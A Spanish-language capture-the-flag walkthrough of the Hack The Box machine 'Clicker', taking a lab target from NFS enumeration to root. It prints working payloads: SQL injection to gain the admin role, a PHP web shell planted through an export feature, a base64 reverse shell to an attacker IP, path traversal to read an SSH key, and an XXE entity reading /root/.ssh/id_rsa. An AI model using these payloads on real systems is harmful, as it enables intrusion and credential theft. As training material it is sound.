Descripción
Clicker es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Inyección SQL en la aplicación web que conduce a la ejecución remota de comandos después de inyectar código PHP
- Pivote del usuario mediante ingeniería inversa de la funcionalidad de un binario personalizado
- Elevación de privilegios mediante la recuperación de la clave privada SSH
rootutilizando una vulnerabilidad XXE
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.232.
$ ping -c 3 10.10.11.232
PING 10.10.11.232 (10.10.11.232) 56(84) bytes of data.
64 bytes from 10.10.11.232: icmp_seq=1 ttl=63 time=46.1 ms
64 bytes from 10.10.11.232: icmp_seq=2 ttl=63 time=47.7 ms
64 bytes from 10.10.11.232: icmp_seq=3 ttl=63 time=46.2 ms
--- 10.10.11.232 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 46.085/46.646/47.694/0.741 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.232 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.232
Host is up (0.048s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
Nmap done: 1 IP address (1 host up) scanned in 1.02 seconds
Obtenemos cuatro puertos abiertos: 22, 80, 111 y 2049.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.10.11.232 -sV -sC -p22,80,111,2049 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.232
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_ 256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Did not follow redirect to http://clicker.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
2049/tcp open nfs 3-4 (RPC #100003)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.99 seconds
Obtenemos tres servicios: un Secure Shell (SSH), y un Hypertext Transfer Protocol (HTTP) y un Network File System (NFS). Como no tenemos credenciales de acceso para el servicio SSH vamos a movernos al servicio HTTP. Agregamos el dominio clicker.htb al archivo /etc/hosts.
$ echo '10.10.11.232 clicker.htb' | sudo tee -a /etc/hosts
Al realizar una lista de los contenidos del sitio web, encontramos un juego de clics en el cual podemos registrarnos o iniciar sesión.
Podemos registrar una cuenta y jugar al juego.
Cuando se presiona el botón Save and close, se envía una solicitud al servidor, a la dirección /save_game.php con los parámetros clicks y level.
También tenemos una opción en la que podemos observar un tablero de clasificación.
No encontramos una vulnerabilidad en el sitio web, por lo que nos movemos al servicio NFS. El servicio NFS no está protegido, por lo que podemos listar los directorios compartidos.
$ showmount -e clicker.htb
Export list for clicker.htb:
/mnt/backups *
Encontramos que el directorio /mnt/backups del equipo remoto está compartido. Podemos montarlo en nuestro equipo y realizar una lista de sus contenidos.
$ mkdir backup_mount
$ sudo mount -t nfs clicker.htb:/mnt/backups ./backup_mount -o nolock
$ find backup_mount
backup_mount
backup_mount/clicker.htb_backup.zip
Encontramos lo que parece ser el archivo de respaldo del sitio web en formato .zip, lo extraemos.
$ unzip backup_mount/clicker.htb_backup.zip
Archive: backup_mount/clicker.htb_backup.zip
creating: clicker.htb/
inflating: clicker.htb/play.php
inflating: clicker.htb/profile.php
inflating: clicker.htb/authenticate.php
inflating: clicker.htb/create_player.php
inflating: clicker.htb/logout.php
...
Encontramos el código fuente de la aplicación web en PHP de Clicker. Al revisar el código fuente encontramos lo que parece ser una consulta vulnerable a inyección SQL, en el archivo db_utils.php.
$ cat clicker.htb/db_utils.php
...
function save_profile($player, $args) {
global $pdo;
$params = ["player"=>$player];
$setStr = "";
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
}
$setStr = rtrim($setStr, ",");
$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
$stmt -> execute($params);
}
...
Encontramos que está utilizando una sentencia preparada, pero el parámetro que se prepara es solo el player. En la setStr podemos injectar código ya que está agregando cada par de parámetros <nombre_de_parámetro>=<valor_del_parámetro> con una coma al final a la consulta. Ese código está manejando la solicitud que vimos previamente hacia el endpoint save_game.php.
$ cat clicker.htb/save_game.php
<?php
session_start();
include_once("db_utils.php");
if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
...
save_profile($_SESSION['PLAYER'], $_GET);
...
}
?>
En el función create_new_player del archivo db_utils.php encontramos los parámetros que tiene el usuario: username, nickname, password, role, clicks y level.
function create_new_player($player, $password) {
global $pdo;
$params = ["player"=>$player, "password"=>hash("sha256", $password)];
$stmt = $pdo->prepare("INSERT INTO players(username, nickname, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)");
$stmt->execute($params);
}
Explotación
Podemos intentar utilizar la inyección SQL para cambiar nuestro rol, desde el default User al Admin como encontramos en el archivo admin.php.
$ cat clicker.htb/admin.php
<?php
session_start();
include_once("db_utils.php");
if ($_SESSION["ROLE"] != "Admin") {
header('Location: /index.php');
die;
}
?>
...
Para la inyección SQL transformaremos la consulta UPDATE players SET click=10,level=0 WHERE username = user a la de UPDATE players SET clicks=10,role='Admin',level=0 WHERE username = user. Para el payload, codificado en URL, usaremos: /save_game.php?clicks%3d10,role%3d'Admin',level%3d0. Ahora necesitamos cerrar sesión y volver a iniciar para tener acceso al panel de administración en una nueva opción.
Encontramos en esta nueva opción que podemos exportar los resultados del tablero de clasificación en formatos .txt, .json y .html. Cuando se exporta el archivo, recibimos el mensaje Data has been saved in exports/top_players_sbflshl9.txt. Se envía una solicitud POST al endpoint /export.php con los parámetros threshold (1000000) y extension (txt).
Hay control de tipos en el archivo exportado, pero solo para archivos con la extensión .txt y .json. Si se especifica otra extensión, se guardará código HTML.
$ cat clicker.htb/admin.php
...
if ($_POST["extension"] == "txt") {
$s .= "Nickname: ". $currentplayer["nickname"] . " Clicks: " . $currentplayer["clicks"] . " Level: " . $currentplayer["level"] . "\n";
foreach ($data as $player) {
$s .= "Nickname: ". $player["nickname"] . " Clicks: " . $player["clicks"] . " Level: " . $player["level"] . "\n";
}
} elseif ($_POST["extension"] == "json") {
$s .= json_encode($currentplayer);
$s .= json_encode($data);
} else {
$s .= '<table>';
$s .= '<thead>';
$s .= ' <tr>';
$s .= ' <th scope="col">Nickname</th>';
$s .= ' <th scope="col">Clicks</th>';
$s .= ' <th scope="col">Level</th>';
..
Si logramos inyectar código PHP en el archivo exportado como un archivo .php podríamos obtener Ejecución de Comandos Remotos. Como los valores de Clicks y Level son números, necesitamos cambiar el campo Nickname. Podríamos intentar la inyección anterior para cambiar la columna nickname a algo como <?php system($_GET['param']); ?>. La solicitud será /save_game.php?nickname=<%3fphp+system($_GET['param'])%3b+%3f>. Luego solicitamos generar el archivo .php con la solicitud POST al endpoint export.php con los datos threshold=1000000&extension=php. Encontramos el archivo top_players_rshwsr9k.php, por lo que ahora logramos RCE enviando el parámetro param con un comando, como id, a http://clicker.htb/exports/top_players_rshwsr9k.php?param=id.
La vulnerabilidad ha funcionado, ahora podemos utilizar esto para lanzar la terminal inversa.
$ nc -nvlp 1234
Podemos utilizar un payload codificado en URL como echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA%2bJjE=|base64+-d|bash (bash -i >& /dev/tcp/10.10.14.11/1234 0>&1) para recibir el terminal inverso. Funciona. Actualizamos el terminal.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.232] 46018
bash: cannot set terminal process group (1212): Inappropriate ioctl for device
bash: no job control in this shell
www-data@clicker:/var/www/clicker.htb/exports$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@clicker:/var/www/clicker.htb/exports$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@clicker:/var/www/clicker.htb/exports$ ^Z
$ stty raw -echo; fg
$ reset xterm
www-data@clicker:/var/www/clicker.htb/exports$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
Como usuarios de consola en los sistemas encontramos root y jack.
www-data@clicker:/var/www/clicker.htb/exports$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
jack:x:1000:1000:jack:/home/jack:/bin/bash
Buscando binarios SUID en el sistema encontramos uno poco común llamado execute_query.
www-data@clicker:/var/www/clicker.htb/exports$ find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
...
/opt/manage/execute_query
www-data@clicker:/var/www/clicker.htb/exports$ ls -l /opt/manage/execute_query
-rwsrwsr-x 1 jack jack 16368 Feb 26 2023 /opt/manage/execute_query
Al ejecutar el archivo, se ejecuta con los permisos del usuario jack. Es un archivo binario y hay ayuda sobre el comando en el archivo README.md.
www-data@clicker:/var/www/clicker.htb/exports$ cd /opt/manage/
www-data@clicker:/opt/manage$ ls
README.txt execute_query
www-data@clicker:/opt/manage$ file execute_query
execute_query: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cad57695aba64e8b4f4274878882ead34f2b2d57, for GNU/Linux 3.2.0, not stripped
www-data@clicker:/opt/manage$ cat README.txt
Web application Management
Use the binary to execute the following task:
- 1: Creates the database structure and adds user admin
- 2: Creates fake players (better not tell anyone)
- 3: Resets the admin password
- 4: Deletes all users except the admin
Encontramos que utilizando un número de función no estándar, por ejemplo 5, y luego un directorio con un cruce de directorios apuntando a un archivo podemos incluirla.
www-data@clicker:/opt/manage$ /opt/manage/execute_query 5 ../../../etc/passwd
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Podemos extraer la clave SSH privada del usuario jack.
www-data@clicker:/opt/manage$ /opt/manage/execute_query 5 ..//.ssh/id_rsa
mysql: [Warning] Using a password on the command line interface can be insecure.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
...
LsOxRu230Ti7tRBOtV153KHlE4Bu7G/d028dbQhtfMXJLu96W1l3Fr98pDxDSFnig2HMIi
lL4gSjpD/FjWk9AAAADGphY2tAY2xpY2tlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
Podemos iniciar sesión utilizando el protocolo SSH.
$ ssh -i id_rsa jack@clicker.htb
jack@clicker:~$ id
uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
Encontramos que el usuario jack puede ejecutar cualquier comando como usuario root, pero solo proporcionando una contraseña. Sin ella, sólo puede ejecutar el script /opt/monitor.sh. Con el parámetro SETENV podemos establecer las variables de entorno que podemos pasar al programa.
jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh
El script está utilizando la orden curl para obtener datos de diagnóstico desde el endpoint diagnostic.php del servidor mediante curl. Luego, se lee el contenido de los datos de diagnóstico (presumiblemente XML) con la orden binaria xml_pp. Establece la variable PATH y deshabilita las variables PERL5LIB PERLLIB.
jack@clicker:~$ cat /opt/monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
El script nos devuelve el archivo XML de diagnóstico.
jack@clicker:~$ sudo /opt/monitor.sh
<?xml version="1.0"?>
<data>
<php-version>8.1.2-1ubuntu2.14</php-version>
<test-connection-db>OK</test-connection-db>
<memory-usage>392704</memory-usage>
<environment>
<APACHE_RUN_DIR>/var/run/apache2</APACHE_RUN_DIR>
<SYSTEMD_EXEC_PID>1174</SYSTEMD_EXEC_PID>
<APACHE_PID_FILE>/var/run/apache2/apache2.pid</APACHE_PID_FILE>
<JOURNAL_STREAM>8:26315</JOURNAL_STREAM>
<PATH>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</PATH>
<INVOCATION_ID>97bbfc92acad45a3999cac5894d8f37a</INVOCATION_ID>
<APACHE_LOCK_DIR>/var/lock/apache2</APACHE_LOCK_DIR>
<LANG>C</LANG>
<APACHE_RUN_USER>www-data</APACHE_RUN_USER>
<APACHE_RUN_GROUP>www-data</APACHE_RUN_GROUP>
<APACHE_LOG_DIR>/var/log/apache2</APACHE_LOG_DIR>
<PWD>/</PWD>
</environment>
</data>
Si pudiéramos interceptar la solicitud y cambiarla para aprovechar una vulnerabilidad XXE (XML External Entity) podemos devolver archivos privilegiados, como /etc/shadow o /root/.ssh/id_rsa. Podemos utilizar la variable de entorno http_proxy para apuntar a nuestro servidor y activar la interceptación en nuestro proxy.
jack@clicker:~$ sudo http_proxy=http://10.10.14.11:8080 /opt/monitor.sh
Vamos a utilizar el siguiente código XML para el XXE.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "/root/.ssh/id_rsa"> ]><element>&xxe;</element>
Obtenemos la clave privada.
jack@clicker:~$ sudo http_proxy=http://10.10.14.11:8080 /opt/monitor.sh
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "/root/.ssh/id_rsa">
]>
<element>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmQBWGDv1n5tAPBu2Q/DsRCIZoPhthS8T+uoYa6CL+gKtJJGok8xC
...
Iniciamos sesión utilizando SSH para obtener acceso completo de privilegios.
$ ssh -i id_rsa_root root@clicker.htb
...
root@clicker:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En el terminal root podemos recuperar las flags de user.txt y root.txt.
root@clicker:~# cat /home/jack/user.txt
<REDACTED>
root@clicker:~# cat /root/root.txt
<REDACTED>